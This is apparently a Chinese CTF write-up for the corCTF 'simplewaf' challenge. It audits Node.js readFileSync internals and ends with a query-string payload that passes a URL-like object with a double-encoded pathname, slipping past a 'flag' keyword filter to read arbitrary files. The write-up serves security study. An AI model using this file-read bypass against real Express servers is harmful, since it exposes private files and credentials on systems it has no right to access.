-
-
[corctf]simplewaf
-
2022-8-21 00:28 7551
-
题目提供了源码,是一个node.js
先从main.js入手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | const express = require( "express" ); const fs = require( "fs" ); / / 引入fs模块 const app = express(); / / 基于nodejs平台的web框架 const PORT = process.env.PORT || 3456 ; app.use((req, res, next ) = > { / / 一个waf中间件,检测检查请求正文、标头或查询字符串的 JSON 表示是否包含字符串“flag” if ([req.body, req.headers, req.query].some( (item) = > item && JSON.stringify(item).includes( "flag" ) )) { return res.send( "bad hacker!" ); } next (); }); app.get( "/" , (req, res) = > { try { res.setHeader( "Content-Type" , "text/html" ); / / 设置一个header console.log(req.query. file ); res.send(fs.readFileSync(req.query. file || "index.html" ).toString()); / / 同步读取文件 } catch(err) { console.log(err); / / 发生错误则返回 500 res.status( 500 ).send( "Internal server error" ); } }); app.listen(PORT, () = > console.log(`web / simplewaf listening on port ${PORT}`)); |
漏洞点存在于readFileSync()存在文件读取,而且传入参数file可控,但是本题提供了一个看似简单,实则恶心的waf中间件
1 2 3 4 5 6 7 8 | app.use((req, res, next ) = > { / / 一个waf中间件,检测检查请求正文、标头或查询字符串的 JSON 表示是否包含字符串“flag” if ([req.body, req.headers, req.query].some( (item) = > item && JSON.stringify(item).includes( "flag" ) )) { return res.send( "bad hacker!" ); } next (); }); |
用于检测请求中是否包含flag字样,但是node基于javascript,所以并不像php那样有很多的bypass方式,所以我们需要看看readFileSync()有没有什么比较特殊的用法,来绕过"flag"
readFileSync()的一个调用堆栈情况:
1 2 | readFileSync - > openSync - > getValidatedPath - > toPathIfFileURL - > fileURLToPath - > getPathFromURLPosix |
从内部一步步的审计readFileSync()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | function readFileSync(path, options) { options = getOptions(options, { flag: 'r' }); const isUserFd = isFd(path); / / File descriptor ownership const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666 ); / / 调用了openSync() const stats = tryStatSync(fd, isUserFd); const size = isFileType(stats, S_IFREG) ? stats[ 8 ] : 0 ; let pos = 0 ; let buffer ; / / Single buffer with file data let buffers; / / List for when size is unknown if (size = = = 0 ) { buffers = []; } else { buffer = tryCreateBuffer(size, fd, isUserFd); } let bytesRead; if (size ! = = 0 ) { do { bytesRead = tryReadSync(fd, isUserFd, buffer , pos, size - pos); pos + = bytesRead; } while (bytesRead ! = = 0 && pos < size); } else { do { / / The kernel lies about many files. / / Go ahead and try to read some bytes. buffer = Buffer .allocUnsafe( 8192 ); bytesRead = tryReadSync(fd, isUserFd, buffer , 0 , 8192 ); if (bytesRead ! = = 0 ) { ArrayPrototypePush(buffers, buffer . slice ( 0 , bytesRead)); } pos + = bytesRead; } while (bytesRead ! = = 0 ); } if (!isUserFd) fs.closeSync(fd); if (size = = = 0 ) { / / Data was collected into the buffers list . buffer = Buffer .concat(buffers, pos); } else if (pos < size) { buffer = buffer . slice ( 0 , pos); } if (options.encoding) buffer = buffer .toString(options.encoding); return buffer ; } |
调用了openSync()函数,跟进一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 | function openSync(path, flags, mode) { path = getValidatedPath(path); / / 检测url,跟进看看 const flagsNumber = stringToFlags(flags); mode = parseFileMode(mode, 'mode' , 0o666 ); const ctx = { path }; const result = binding. open (pathModule.toNamespacedPath(path), flagsNumber, mode, undefined, ctx); handleErrorFromBinding(ctx); return result; } |
继续跟进getValidatePath()函数:
1 2 3 4 5 6 | function getValidatedPath (fileURLOrPath) { const path = fileURLOrPath ! = null && fileURLOrPath.href && fileURLOrPath.origin ? fileURLToPath(fileURLOrPath) : fileURLOrPath return path } |
这里发现当fileURLOrPath的href属性和origin属性不为空,就会执行fileURLToPath函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | const fileURLToPath = (path) = > { if (typeof path = = = 'string' ) { path = new URL(path) } else if (!isURLInstance(path)) { throw new ERR_INVALID_ARG_TYPE( 'path' , [ 'string' , 'URL' ], path) } if (path.protocol ! = = 'file:' ) { throw new ERR_INVALID_URL_SCHEME( 'file' ) } / / 令path.protocol属性为 file : return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path) / / 进入getPathFromURLPosix } const isURLInstance = ( input ) = > { return input ! = null && input .href && input .origin / / 存在href和origin属性就返回真 } |
控制path.protocol属性为file: 可以继续执行getPathFromURLPosix()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | function getPathFromURLPosix(url) { if (url.hostname ! = = '') { throw new ERR_INVALID_FILE_URL_HOST(platform); } const pathname = url.pathname; for (let n = 0 ; n < pathname.length; n + + ) { / / url解码 if (pathname[n] = = = '%' ) { const third = pathname.codePointAt(n + 2 ) | 0x20 ; if (pathname[n + 1 ] = = = '2' && third = = = 102 ) { throw new ERR_INVALID_FILE_URL_PATH( 'must not include encoded / characters' ); } } } return decodeURIComponent(pathname); } |
当url.hostname为空时,这个函数对pathname进行了一个url的解码,因此我们发现,当传入的值在满足上述的情况下,readFileSync()支持传入urlencode的形式,于是可以通过url解码来避免对字符串flag的使用
当然flag需要经过双url编码,因为 Express 已经将 URL 解码一次
payload:
1 | ? file [href] = a& file [origin] = a& file [protocol] = file :& file [hostname] = & file [pathname] = / app / fl % 2561g .txt |
分析到这里,可以说这道题雀氏精彩,剖析了整个函数的调用,最终发现了可利用的点,实现了完美的bypass
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
他的文章
看原图